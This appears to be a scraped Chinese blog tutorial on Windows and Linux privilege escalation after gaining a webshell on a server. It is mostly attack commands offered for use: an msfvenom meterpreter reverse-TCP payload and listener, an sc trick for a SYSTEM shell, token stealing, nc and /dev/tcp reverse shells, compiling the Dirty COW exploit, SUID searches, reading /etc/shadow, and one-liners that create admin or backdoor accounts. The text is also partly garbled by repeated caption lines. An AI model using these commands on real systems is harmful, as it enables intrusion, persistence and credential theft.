天天看點

Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

Windows權限提升

常見提權方法

1、溢出漏洞提權

2、資料庫提權

3、第三方軟體提權

Cmd指令無法執行原因分析

1、Cmd指令無法執行分析

​ 主要原因是cmd.exe被管理者降級或删除,也有可能元件被删除。

2、Cmd指令執行解決方法

​ 通過腳本木馬查找可讀可寫目錄,上傳cmd,調用cmd路徑執行指令(找可讀可寫目錄不要選帶空格目錄)。

​ 菜刀設定終端路徑:setp c:\test\cmd.exe

提權常用指令講解

whoami ——檢視使用者權限

systeminfo ——檢視作業系統,更新檔情況

ipconfig——檢視目前伺服器IPipconfig /all

net user——檢視目前使用者情況

netstat ——檢視目前網絡連接配接情況netstat –ano /netstat –an | find “ESTABLISHED”

tasklist——檢視目前程序情況 tasklist /svc

taskkill——結束程序taskkill -PID xx

net start ——啟動服

net stop ——停止服務

net user best 123456 /add 添加使用者名為best,密碼為123456

net localgroup administrators best /add 将使用者名為best的使用者添加到管理者組

net user best /del 删除best使用者

已對外公開exp注:

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/WindowsExploits/Exploits

https://github.com/AusJock/Privilege-Escalation

對于高版本提權的介紹(7、8、08、12、16)

一、UAC介紹

UAC(User Account Control)是微軟在 Windows Vista 以後版本引入的一種安全機制,通過 UAC,應用程式和任務可始終在非管理者帳戶的安全上下文中運作,除非管理者特别授予管理者級别的系統通路權限。

目前獲得的權限是存在于管理者組的時候但是并且是administrator這個使用者,此時就可能需要我們進行繞過UAC的操作,否則雖然是管理者組但是實際上并沒有管理者所對應的高權限操作,這個時候就需要bypass uac

提權前奏

條件:kali環境下運作

木馬生成:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.60.109 LPORT=4444 -f exe -o payload.exe
           

配置木馬檔案

本地監聽:

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.60.109  //

msf exploit(handler) > set lport 4444

msf exploit(handler) > exploit
           

操作步驟

1、kali系統配置木馬檔案,最後生成木馬檔案

2、在被菜刀控制的主機上上傳木馬檔案然後運作

3、監聽的這邊就會顯示已連接配接

sc指令提權(administrator–>system)

ps:經測試03也可以。

關于sc指令:

SC 是用于與服務控制管理器和服務進行通信的指令行程式。提供的功能類似于“控制台”中“管理工具”項中的“服務”。

sc Create syscmd binPath= “cmd /K start” type= own type= interact

這個指令的意思是建立一個名叫syscmd的新的互動式的cmd服務

然後執行

sc start syscmd,就得到了一個system權限的cmd環境

Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

不帶引号的服務路徑

當系統管理者配置Windows服務時,他們必須指定要執行的指令,或者運作可執行檔案的路徑。

當Windows服務運作時,會發生以下兩種情況之一。如果給出了可執行檔案,并且引用了完整路徑,則系統會按字面解釋它并執行。但是,如果服務的二進制路徑未包含在引号中,則作業系統将會執行找到的空格分隔的服務路徑的第一個執行個體。

這可能有點不直覺,是以讓我們來看一個實際的例子。假設服務配置類似于以下存在bug的示例服務:

=======================================

指令ps,可以看到對方程序目錄,可以看到程序的令牌

執行以下語句竊取該使用者程序的令牌:

steal_token 2584

會話狀态下的權限提升

Meterpreter會話,接着我們在Meterpreter會話輸入以下指令:

background //把你目前的Meterpreter會話轉為背景執行。

接着我們在MSF指令行執行以下指令搜尋微軟2015年的可用漏洞子產品

Linux權限提升

linux發行版本

是我們常說的Linux作業系統,也即是由Linux核心與各種常用軟體的集合産品,全球大約有數百款的Linux系統版本,每個系統版本都有自己的特性和目标人群, 例如:

· CentOS

· redhat

· ubuntu

· kali

linux核心版本的分類

Linux核心版本有兩種:穩定版和開發版 ,Linux核心版本号由3組數字組成:第一個組數字.第二組數字.第三組數字

第一個組數字:目前釋出的核心主版本。

第二個組數字:偶數表示穩定版本;奇數表示開發中版本。

第三個組數字:錯誤修補的次數。

linux核心

Linux系統核心指的是一個由Linus Torvalds負責維護,提供硬體抽象層、硬碟及檔案系統控制及多任務功能的系統核心程式。

檢視發行版本

cat /etc/issue
           
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升
cat /etc/*-release
           
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

核心漏洞提權

檢視核心版本

uname -a
           
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

在完成以上操作後,我們就知道了Linux的核心版本

就可以用kali自帶的searchsploit來搜尋exploitdb中的漏洞利用代碼

searchsploit linux Debian 5
           
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

反彈shell

如果手裡隻有webshell可以利用反彈shell來得到一個shell

nc -lvvp 8080 -t -e /bin/bash
           
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

之後在實體機利用nc軟體輸入一下指令來反控制虛拟機

Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

以上是第一種方法,以下是另一種方法

bash -i >& /dev/tcp/192.168.60.7/9999 0>&1  //中間的IP位址為自己的公網IP
           

然後在本地實體機監聽

Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

bash提權

針對kali4.9.0以下的版本,以上版本沒有這個漏洞

xshell控制Linux後,進入vim配置端口8080,然後運作Linux上的Apache網站,

kali啟動Apache網站的路徑:

在終端輸入“vim/etc/apacge2/ports.conf”(會進入vim),隻收輸入i進入編輯模式;進去後修改Apache2的預設監聽端口為8080->編輯好好儲存退出,

啟動方式:在終端輸入“/etc/init.d/apache2 start”

通路方式:在浏覽器輸入:kaliIP位址:8080/index.html

搭建好後上傳木馬檔案(hao.php)到該網站。傳到網站目錄

然後通路該木馬檔案:找到下方位置

Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

之後點選反彈連接配接,然後到nc界面回車一下,就可以實作控制

Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

髒牛提權漏洞複現

POC檔案:https://github.com/FireFart/dirtycow

準備好poc檔案後,在低核心版本上建立普通使用者。

建立賬号的方法:
useradd test/passwd test
使用su切換賬号
 su 賬戶名
           

配置以上後上傳髒牛檔案到伺服器

上傳完成後借用gcc編譯髒牛檔案,指令如下:

gcc -pthread dirty.c -o dirty -lcrypt
           
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升
Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

SUID提權

概念

SUID(設定使用者ID)是賦予檔案的一種權限,它會出現在檔案擁有者權限的執行位上,具有這種權限的檔案會在其執行時,使調用者暫時獲得該檔案擁有者的權限。那麼,為什麼要給Linux二進制檔案設定這種權限呢?其實原因有很多,例如,程式ping需要root權限才能打開網絡套接字,但執行該程式的使用者通常都是由普通使用者,來驗證與其他主機的連通性

SUID提權:

那麼什麼是suid提權呢?我了解的就是有個檔案,它有s标志,并且他輸入root,那麼我們運作這個程式就可以有了root的權限,并且這個程式還得能執行指令,不然沒什麼用處,那麼我們就能從普通使用者提升到了root權限了。

首先在本地查找符合條件的檔案,有以下三個指令

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} ;

已對外公開 exp 注

https://github.com/SecWiki/linux-kernel-exploits

https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/

https://github.com/xairy/kernel-exploits

Linux常用指令解析

uname -a 列印所有可用的系統資訊

cat /etc/passwd 列出系統上的所有使用者

cat /etc/shadow 列出系統上的所有使用者密碼

whoami 檢視目前使用者

w 誰目前已登入,他們正在做什麼

last 最後登入使用者的清單

lastlog 所有使用者上次登入的資訊

linux 一句話添加賬号

(1)chpasswd 方法

useradd guest;echo ‘guest:123456’|chpasswd

(2)useradd -p 方法

useradd -p

openssl passwd 123456

guest

(3)echo -e 方法

useradd test;echo -e “123456n123456n” |passwd test

Linux運維最常用的150個指令https://www.jianshu.com/p/979d8f5e5e65

Windows和Linux權限提升Windows權限提升對于高版本提權的介紹(7、8、08、12、16)Linux權限提升

繼續閱讀